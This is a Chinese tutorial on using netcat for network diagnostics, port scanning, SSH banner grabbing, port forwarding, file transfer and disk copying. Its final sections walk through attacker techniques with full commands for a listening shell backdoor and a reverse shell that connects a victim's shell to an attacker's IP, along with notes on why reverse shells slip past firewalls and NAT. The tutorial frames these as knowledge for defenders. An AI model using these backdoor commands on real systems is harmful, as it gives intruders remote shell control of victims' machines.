★引子

今天这篇教程主要目的就是：教你如何用 netcat 这个小工具进行网络诊断、网络配置、系统管理……

```
---------------------
|      /\_/\         |
|     / 0 0 \        |
|    ====v====       |
|     \  w  /        |
|     |     |     _  |
|     / ___ \    /   |
|    / /   \ \  |    |
|   (((-----)))-'    |
|    /               |
|   (      ___       |
|    \__.=|___E      |
|           /        |
---------------------
```

★netcat 是个啥玩意儿?

netcat 一般简称为 nc，直译为中文就是 “网猫”，被誉为——**【网络上的瑞士军刀】**。

它诞生于 1995 年，在网络安全社区的名气很大（就如同 AK47 在军事领域的名气）。从事网络安防领域的人，应该都知道它。

★netcat 能干啥?

◇概述

简而言之，nc 是一个【命令行】工具，能够让你很方便、很灵活地操纵【传输层协议】（这里所说的 “传输层协议” 指的是 OSI 模型中的第 4 层，主要是 TCP & UDP）。

◇nc 的变种

由于 nc 是如此牛逼，而它本身又很小（不但软件很小，源代码也很少）。很容易就衍生出一大堆【变种】。不同的变种，会在原有 nc 的基础上增加一些新功能。

这篇教程的内容，主要基于 OpenBSD 社区的变种（也叫 “OpenBSD netcat” 或“netcat-openbsd”）

虽然它出自 OpenBSD 社区，但很多主流 Linux 发行版的官方软件仓库已包含这个变种。

本文后续部分提到的 nc，除非专门注明，否则都是指：netcat 的 OpenBSD 变种。如果俺要称呼【原始】的那个 netcat，俺会称之为 “原版 nc”（ “traditional netcat”）。

★nc 命令行简介

要使用 nc，你就需要在【命令行】中与它打交道（它所有的功能，都以命令行的方式呈现给你用）。

◇nc 命令行的常规形式

一般来说，nc 的命令行包括如下几个部分：

```
nc 命令选项 主机 端口
```

命令选项
这部分可能包含 0~N 个选项
（注：这部分最复杂，下一个小节单独聊）
主机
这部分可能没有，可能以 “点分十进制” 形式表示，也可能以 “域名” 形式表示。
端口
这部分可能没有，可能是单个端口，可能是端口范围。
对于 “端口范围”，以两个数字分别表示 “开始和结束”，中间以【半角减号】相连。举例：`1-1024`

◇何为 “命令行选项”?

简单来说，nc 提供了一大堆【命令行选项】，分别对应它提供的功能。每个选项都是 “单字母” 的。有些选项需要带【选项值】，有些不需要。

你要使用的选项都放在 `nc` 这个命令之后，每个选项前面要有一个【半角减号】，选项之间以空格分开。

举例：

在下面这个例子中，分别用到了三个选项（`l、p、v`），其中 `12345` 是选项 `p` 所带的【选项值】。

```
nc -l -p 12345 -v
```

如果你的系统中已经有 nc（且 nc 已添加到【PATH 环境变量】），在命令行中执行如下，就可以看到它支持的全部命令选项的列表。

```
nc -h
```

顺便说一下：在上述命令的输出中，如果第一行包含 `OpenBSD` 这个单词，就说明你当前用的 “网猫” 是 OpenBSD 变种。

◇【常用的】命令行选项

只列出【常用的】那些。

选项	是否有 “选项值”	说明
h	NO	输出 nc 的帮助
v	NO	在网络通讯时，显示详细的输出信息 注：建议新手多用该选项，出错时帮你诊断问题
n	NO	对命令行中的 “主机”，【不】进行域名解析 注：如果 “主机” 是“点分格式”的 IP 地址，需要用该选项； 如果 “主机” 是“域名”形式，【不能】用该选项
p	YES	指定 “端口号”

l	NO	开启 “监听模式”，nc 作为【服务端】 注：如不加该选项，nc 默认作为客户端
u	NO	使用 UDP 协议 注：如不加该选项，默认是 TCP 协议
w	YES	设置连接的超时间隔（N 秒）
q	YES	让 nc 延时（N 秒）再退出
z	NO	开启 “zero-I/O 模式” 注：该选项仅用于 “端口扫描”，后面会聊到
k	NO	配合 `-l` 选项使用，可以重复接受客户端连接。 注：“原版 nc” 的该选项用来开启 “TCP keepalive” 这是 “原版 nc” 与“OpenBSD 变种”之间的差异之一
X	YES	指定代理的类型（具体用法，后面会聊到） 注：“原版 nc”【没有】该选项。这是 “原版 nc” 与“OpenBSD 变种”之间的差异之一
x	YES	以 `IP:port` 的格式指定代理的位置。 注：“原版 nc”【没有】该选项。这是 “原版 nc” 与“OpenBSD 变种”之间的差异之一
e	YES	启动某个进程，把该进程的 “标准输入输出” 与网络通讯【对接】 注：通常用该选项开启一个网络后门 “OpenBSD 变种” 基于安全考虑，已去掉该选项， 但还是能用间接的方式达到同样的效果 :)

汇总上述表格，只是用来【速查】。之后会具体介绍每个命令选项的详细用法。

◇命令行选项的【合写】形式

有时候要同时用到多个选项，可以 “合写在一起”，在前面共用一个【半角减号】。
还拿刚才举的例子，以下几种写法是【等价】滴。

```
nc -lp 12345 -v
nc -l -v -p 12345
nc -lv -p 12345
nc -lvp 12345
```

◇如何强行终止 nc?

一般来说，在命令行环境下，你可以用【Ctrl C】这个组合键来强行终止当前运行的进程。
对 nc，你同样可以这么干。

★招数 1：（网络诊断）测试某个远程主机的【监听】端口是否可达

◇使用场景

经常有这种需求，要判断某个主机的监听端口是否能连上。

导致监听端口【无法】连上，通常有两种原因：

其一，这个监听端口根本就【没开启】；

其二，监听端口虽然开启，但是被防火墙阻拦了。

对第 1 个原因，（如果你能在该主机上运行命令）可以直接用 `netstat` 这个命令查看监听端口是否开启。

但对于第 2 个原因，`netstat` 就用不上了。这时候就可以用 nc 来帮你搞定。

◇方法

用如下命令可以测试某个 IP 地址（`x.x.x.x`）上的某个监听端口（`xx`）是否开启。

```
nc -nv x.x.x.x xx
```

上述命令用到了如下几个选项：

选项 `-v`

如果你是 nc 的新手，建议总是带上这个选项——通过更详细的输出，能帮你搞明白状况。

在本文后续的举例中，都会尽量都加上这个选项。

选项 `-n`

由于测试的是【IP 地址】，用该选项告诉 nc，【无须】进行域名（DNS）解析；

反之，如果你要测试的主机是基于【域名】，就【不能】用“选项 -n”。

◇补充说明：超时设置

在测试链接的时候，如果你【没】使用 `-w` 这个超时选项，默认情况下 nc 会等待很久，然后才告诉你连接失败。

如果你所处的网络环境稳定且高速（比如：局域网内），那么，你可以追加“`-w` 选项”，设置一个比较小的超时值。在下面的例子中，超时值设为 3 秒。

```
nc -nv -w 3 x.x.x.x xx
```

◇补充说明：UDP

通常情况下，要测试的端口都是 TCP 协议的端口；如果你碰到特殊情况，需要测试某个 UDP 的端口是否可达。nc 同样能胜任。只需要追加 `-u` 选项。

★招数 2：（网络诊断）判断防火墙是否“允许 or 禁止”某个端口

◇使用场景

招数 1的场景是——已经有某个网络软件开启了监听端口，然后用 nc 测试端口是否可达。

现在换另一个场景：

假设你正在配置防火墙规则，禁止 TCP 的 `8080` 端口对外监听。那么，你如何【验证】自己的配置是 OK 滴?

更进一步说：如果当前【没有】任何软件开启 `8080` 这个监听端口，你如何判断：该端口号是否会被防火墙阻拦?

为了叙述方便，设想如下场景：

有两台主机——“主机 C” 充当客户端，“主机 S” 充当服务端。

然后要判断 “主机 S” 上的防火墙是否会拦截其它主机对 `8080` TCP 端口的连接。

◇方法

在 “主机 S” 上运行 nc，让它在 8080 端口监听，命令如下：

```
nc -lv -p 8080
```

选项 `-l`

这个选项会让 nc 进入监听模式。

选项 `-p`

这个选项有 “选项值”，也就是具体端口号。

然后在 “主机 C” 上运行 nc，测试 “主机 S” 上的 8080 端口是否可达（具体的命令行参见前一章节“招数 1”）

◇补充说明：是否省略 “-p”?

某些 nc 的变种，在开启监听模式时，可以省略 “`-p`”，上述命令变为如下：

```
nc -lv 8080
```

但考虑到兼容性，（在后续章节中）俺总是写上 `-p` 选项。

◇补充说明：如何让 nc 的监听端口【持续开启】

在默认情况下，nc 开启 listen 模式充当服务端，在接受【第一次】客户端连接之后，就会把监听端口关闭。

为啥会这样捏？因为当年设计 nc 更多的是作为某种网络诊断 / 配置工具，并【不是】真拿它当服务端软件来用的。

如果你想要让 nc 始终监听模式，使之能【重复】接受客户端发起的连接，可以追加 `-k` 选项。

◇补充说明：UDP

上述举例是基于 TCP 协议。如果你要测试 UDP 协议，要记得【两边】的 nc 都要追加 `-u` 选项。

★招数 3：（渗透测试）用 nc 玩 “端口扫描”

◇使用场景

在 “招数 1” 里面介绍了：如何测试【单个】端口是否可达。

扩展一下：如果你要测试的不止一个端口，而是某个【范围】的端口。这种行为有个专门的术语叫【端口扫描】。

“端口扫描” 是一把双刃剑——“黑帽子” 用这招进行信息收集，为后续的入侵做铺垫；“白帽子” 用这招来进行 “渗透测试”，以排查自己系统中【尚未屏蔽】的对外监听端口。

作为一款牛逼的网络瑞士军刀，nc 当然可以用来干这事儿啦。

顺便说一下：
不论是 TCP 还是 UDP，协议规定的【有效】端口号范围都是：`1` ~ `65535`

◇方法

下面这个命令，用来扫描 IP 地址为 `x.x.x.x` 的主机，扫描的端口范围从 `1` 到 `1024`

```
nc -znv x.x.x.x 1-1024
```

选项 `-z`

意思是：开启 “zero-I/O 模式”。该模式指的是：nc 只判断某个监听端口是否能连上，连上后【不】与对端进行数据通讯。

选项 `-n`

（前面已聊过，参见 “招数 1”）

选项 `-v`

`-v` 选项前面也聊过，这里要特地强调一下。

对 nc 的其它用法，`-v` 选项是可加可不加滴；但对于 “端口扫描” 而言，一定要有这个选项——否则你【看不到】扫描结果。

◇补充说明：优化输出

玩 “端口扫描” 的时候，“`-v` 选项”会把 “成功 / 失败” 的结果统统打印出来。

通常大伙儿关注的都是 “扫描成功” 的那些端口。因此，可以用如下命令过滤一下，只打印扫出来的端口。

```
nc -znv x.x.x.x 1-1024  2>&1 | grep succeeded
```

由于 “`-v` 选项” 产生的输出位于【stderr】，上述命令中的 `2>&1` 用来把【stderr】合并到【stdout】（注：这种写法只适用于 POSIX 系统上的 shell）

`grep` 命令用来进行【过滤】。对于 Windows 系统，默认【没有】`grep` 命令，需改用 `find` 命令过滤。

◇补充说明：超时设置

如果你要扫描的端口范围，跨度比较大，超时值要【恰到好处】——
超时值太大，会浪费时间；超时值太小，可能会遗漏某些端口（端口本身开放，但 nc 还没来得及连上就超时了）

◇补充说明：【并发】扫描

如果你设置了较小的超时值，依然嫌慢，还可以用【并发】扫描的方式，进一步提升效率。
简而言之就是：同时运行多个 nc，分别扫描不同的端口范围。

★招数 4：（信息收集）用 nc 探测 “服务器类型” 和“软件版本”（以 SSH 为例）

◇使用场景

入侵者在发起攻击之前，有一个很重要的步骤叫做【信息收集】。攻击者对目标了解得越多，得手的机会就越大。
下面以 SSH Server（sshd）举例。

◇方法

如今要【远程管理】服务器，最常用的大概就是 SSH 这种方式了。
如果某个服务器运行了 SSH 服务端（默认监听端口是 `22`），那么用如下命令可以看出：该服务器的操作系统类型，以及 SSH server 的版本。

```
echo "EXIT" | nc -vq 5 -n 服务器IP 22
echo "EXIT" | nc -vq 5 服务器域名 22
```

选项 `-v`
玩这招时，最好加 `-v` 选项——nc 会先显示 “端口已经连上” 或者“端口连不上”。

选项 `-q`

◇补充说明：echo 命令

上述用到的 `echo` 命令是 POSIX 下常用的命令。

◇补充说明：批处理 & 自动化

某些 “有心人” 甚至可以搞一个脚本，批量探测某个 IP 地址段的 22 端口，然后把找到的服务器信息保存在某个文件中。
另外，
有的系统管理员会把 sshd 的监听端口从 `22` 改为其它数值，想要迷惑攻击者。但这么干，【效果不大】。
攻击者可以先进行端口扫描，拿到所有已开启的 TCP 监听端口；然后利用上述方法，对这些 TCP 端口进行【自动化】探测，从而判断出哪个端口是 SSH Server。

◇补充说明：防范措施

本章节以 “SSH Server” 举例来说明入侵者如何探测服务端的软件版本。

除了 “SSH Server”，很多其它的服务端软件，也存在类似的【信息暴露】。

一个谨慎的系统管理员，应该通过定制，【消除 or 伪造】这些信息，从而增加入侵者的攻击成本。

★招数 5：（网络配置）基于 nc 的端口转发（Port Forward）

◇使用场景

服务器的某些端口出于安全的原因只允许本机或部分主机访问，如果我想要局域网内的所有主机都能访问此端口的服务就要用到端口转发。

◇原理

用 nc 进行端口转发，需要运行【两个】nc 进程，一个充当 “服务端”，另一个是“客户端”，然后用【管道】让把两个进程的“标准输入输出” 交叉配对。所谓的 “交叉配对” 就是——每一个 nc 进程的 “标准输出” 都【对接】到另一个 nc 进程的“标准输入”。如此一来，就可以完美地建立【双向通讯】。

玩过命令行的同学，应该都知道：大部分 shell 都支持【管道符】（就是那个竖线符号 `|`），可以把某个进程的标准输出，重定向给另一个进程的标准输入。但是 shell 的 “管道符” 只能做到“单向配对”，【无法】做到“交叉配对”。所以还需要再借助另一个管道——也就是“命名管道”。

“命名管道”叫做 “named pipe”，是一种进程间通讯（IPC）的机制。顾名思义，“命名管道” 就是有名号滴，而 shell 中使用的那个【管道符】，其本质上是“匿名管道”（无名管道）。

主流的操作系统（Windows、Linux、UNIX）都支持 “命名管道” 这种机制。下面只以 Linux 举例。

◇方法

步骤 1：创建命名管道

用下面这个简单的命令创建一个 “命名管道”，其名称叫做 `nc_pipe`。（用这个名称只是为了举例，你也可以用别的名称）。

```
mkfifo nc_pipe
```

步骤 2：同时启动两个 nc

```
nc -l -p 1234 < nc_pipe | nc 127.0.0.1 5678 > nc_pipe
```

运行上述命令之后，就可以把本机的 `1234` 端口重定向到本机的 `5678` 端口。

上述命令行中，前一个 nc 充当【服务端】，后一个 nc 充当【客户端】。命令行中的 “管道符” 使得 “服务端 nc” 的输出绑定到 “客户端 nc” 的输入。然后再用 `nc_pipe` 这个命名管道做中转，使得 “客户端 nc” 的输出绑定到 “服务端 nc” 的输入。从而完成了【交叉配对】。

★招数 6：（系统管理）用 nc 传输文件

◇使用场景

有时候，你需要在两台电脑之间传输文件。也可以用 nc 搞定。

俺猜到某些技术小白会问：为啥不用 Windows 的共享目录?

反驳的理由很多——

反驳 1：这个玩意儿只能在 Windows 上用。

反驳 2：为了使用 “共享目录”，需要启用（Enable）系统中的好几个 service，这会增加你系统的【攻击面】。
反驳 3：启用的 service 越多，占用的内容也越多，影响性能。
……

还有些同学会问：为啥不用 FTP、SSH（或诸如此类的东东）？

俺觉得：

1、如果只是临时传一个文件，还要额外再去装某某软件的客户端 / 服务端，岂不是很蛋疼？
2、任何服务端软件，（从某种意义上说）都是在【增加攻击面】。

◇方法

为了叙述方便，假设你有两台主机 A 与 B，你要把 A 主机上的文件 file1 传输到 B 主机上，保存为 file2

你先在【接收端】（B 主机）运行如下命令（其中的 `xxx` 是端口号）

```
nc -l -p xxx > file2
```

然后在【发送端】（A 主机）运行如下命令。

```
nc x.x.x.x xxx < file1
```

第二条命令中的 `xxx` 是端口号，要与第一条命令中的端口号相同；第二条命令中的 `x.x.x.x` 是【主机 B】的 IP 地址。

◇补充说明：nc 的性能优势

用 nc 传输文件，相当于是：直接在【裸 TCP】层面传输。你可以通俗理解为：【没有】应用层。
（不熟悉网络分层的同学，再去复习一下本文开头的 OSI 模型）

如果你传输的文件【超级大】或者文件数量【超级多】，用 nc 传输文件的性能优势会很明显（相比 “FTP、SSH、共享目录…” 而言）

★招数 7：（系统管理）用 nc 远程备份整个磁盘

◇使用场景

当你学会 “用 nc 传输文件”，还可以用 nc【复制整个硬盘】。
无论是对 “系统管理员”，还是对“入侵者” 甚至是“数据取证人员”，这招都是蛮有用滴。

“磁盘复制”【不同于】“在两块磁盘之间复制文件”。两者之间有很多差别，至少包括：

性能差异——如果 “源盘” 上有非常多的小文件，“在两块磁盘之间复制文件”就会【非常慢】。

完整性差异——“磁盘复制” 可以确保两块盘的内容是完全一致滴。而如果你仅仅在两块磁盘之间复制文件，很多信息都损失掉了。

一般来说，“系统管理员”和 “入侵者” 更看重第 1 个差异（性能）；而 “数据取证人员” 更看重第 2 个差异（完整性）。

◇原理

为了传输整个磁盘，你需要用到 `dd` 命令。这玩意儿源自 UNIX，后来也移植到 Linux 和 Windows。

通过 `dd` 命令，你可以把 “整个硬盘”（或者硬盘上的某个 “物理分区”、“逻辑分区”）dump 成一个文件。

在本章节，由于最终目的是要【跨主机备份磁盘】，所以并【不】需要真的把 `dd` 命令的输出保存成文件，而是把 `dd` 的输出通过管道符（`|`）重定向给【本机】的 nc，然后让【本机】的 nc 发送到另一台主机的 nc（参见前一个招数）。

◇方法

由于操作物理磁盘会涉及到操作系统的差异，下面以 Linux 举例。

假设你要把 A 主机 `/dev/sda` 磁盘的【原始数据】整个复制到 B 主机的 `/dev/sdb` 磁盘。

你先在【接收端】（B 主机）运行如下命令（其中的 `xxx` 是端口号）

```
nc -l -p xxx | dd of=/dev/sdb
```

然后在【发送端】（A 主机）运行如下命令。

```
dd if=/dev/sda | nc x.x.x.x xxx
```

第二条命令中的 `xxx` 是端口号，要与第一条命令中的端口号相同；第二条命令中的 `x.x.x.x` 是【主机 B】的 IP 地址。

◇补充说明：nc 的性能优势

如今的存储设备越来越大了。“磁盘” 或者 “分区”，动不动都是几百个 GB，这时候 nc 的【性能优势】就体现出来啦。

★招数 8：（入侵手法）用 nc 开启【被动】连接型后门

既然聊 netcat，很自然地会聊到 “黑客 / 骇客” 的入侵招数。

做这方面的介绍，并【不是】为了传授入侵技巧；而是为了——让那些注重安全性的同学，能做到 “知己知彼”。

◇使用场景

假设 1：你使用的浏览器存在某个安全漏洞，并且该漏洞会让攻击者获得【执行代码】的机会。

假设 2：你在某个公共场合使用某个 wifi 热点上网。遗憾的是，这个热点是攻击者设置的陷阱。

假设 3：设置该陷阱的攻击者，正好也知道：如何利用上述漏洞。

当这三个假设都成立，攻击者就可以获得在你【本机】执行代码的机会。这时候，攻击者可以下载一个 nc 到你本机，然后用 nc 开启一个【被动】连接型后门。所谓的 “【被动】连接型” 就是指——nc 开启对外监听端口。

在该场景中，因为攻击者与你处于【同一个局域网】，攻击者自然能从自己的机器访问到你本机的 nc 后门。

◇原理

为了让后门能工作，通常会使用 nc 的 `-e` 选项，该选项的 “选项值” 是一个可执行文件的路径。

设置了该选项之后，当处于监听状态的 nc 接受到某个连接，会启动 “选项值” 对应的可执行文件（并得到某个进程），nc 会把该进程的 “标准输入输出” 与网络通讯【对接】。

为了让这个后门用起来足够爽，攻击者通常会让 nc 去启动一个【shell 进程】。对 Windows 系统而言，就是 `cmd.exe`；对 POSIX 系统（Linux or UNIX）而言，就是 `/bin/sh`

在这种情况下（nc 挂载 shell），攻击者远程连入 nc 的端口，就可以直接在这个 shell 上进行各种操作，其效果类似于 SSH 或（老式的）telnet。

◇入侵方法

步骤 1

如果受害者是 Windows 系统，只须如下命令就可以开启一个后门（其中的 `xxx` 是端口号）

```
nc.exe -l -p xxx -e cmd.exe
```

如果受害者是 POSIX 系统（Linux or UNIX），则用如下命令：

```
nc -l -p xxx -e /bin/sh
```

步骤 2

后门创建好之后，攻击者在自己机器上也运行 nc（客户端 nc），然后连接到作为后门的 nc（服务端 nc）。一旦连上之后，攻击者就可以在自己的 nc 上看到对方（受害者机器）的 shell 提示符。

★招数 9：（入侵手法）用 nc 开启【主动】连接型后门

◇原理

原理其实与 “招数8” 很类似，唯一的差别在于——把客户端与服务端【对调】。也就是说，攻击者手头的 nc 充当服务端，而受害者机器上的 nc 充当客户端。此时，受害者本机的 nc【无须】开启监听端口，【不受】防火墙的影响，也【不受】NAT 的影响。

◇入侵方法

步骤 1

既然 nc 的 “服务端” 与“客户端”对调。因此攻击者要先在自己机器上运行“服务端 nc”，命令如下（其中的 `xxx` 是端口号）。当然啦，攻击者自己电脑的防火墙需要允许 `xxx` 端口号对外监听。

```
nc -lk -p xxx
```

步骤 2

如果受害者是 Windows 系统，只须如下命令就可以开启一个后门。

```
nc.exe -e cmd.exe x.x.x.x xxx
```

如果受害者是 POSIX 系统，则用如下命令：

```
nc -e /bin/sh x.x.x.x xxx
```

（在上述两个命令中，`xxx` 是步骤 1 用到的端口号，`x.x.x.x` 是攻击者的 IP 地址）

◇“【主动】连接型后门” 的优势之处（危险性之处）

简单对比一下 “后门的两种连接方式”。

可用性

如果用 “被动型后门” 入侵桌面 PC，考虑到绝大部分桌面 PC 都处于内网（其网卡【并未】分配公网 IP）。对这种场景，攻击者需要与受害者在同一个局域网，才能与后门建立通讯。

相比之下，“主动型后门” 就【没有】这种弊端。

隐蔽性

“被动型后门” 需要显式开启监听端口，很容易引起用户的怀疑，或引起杀毒软件的注意。

相比之下，“主动型后门” 就【没有】这个问题。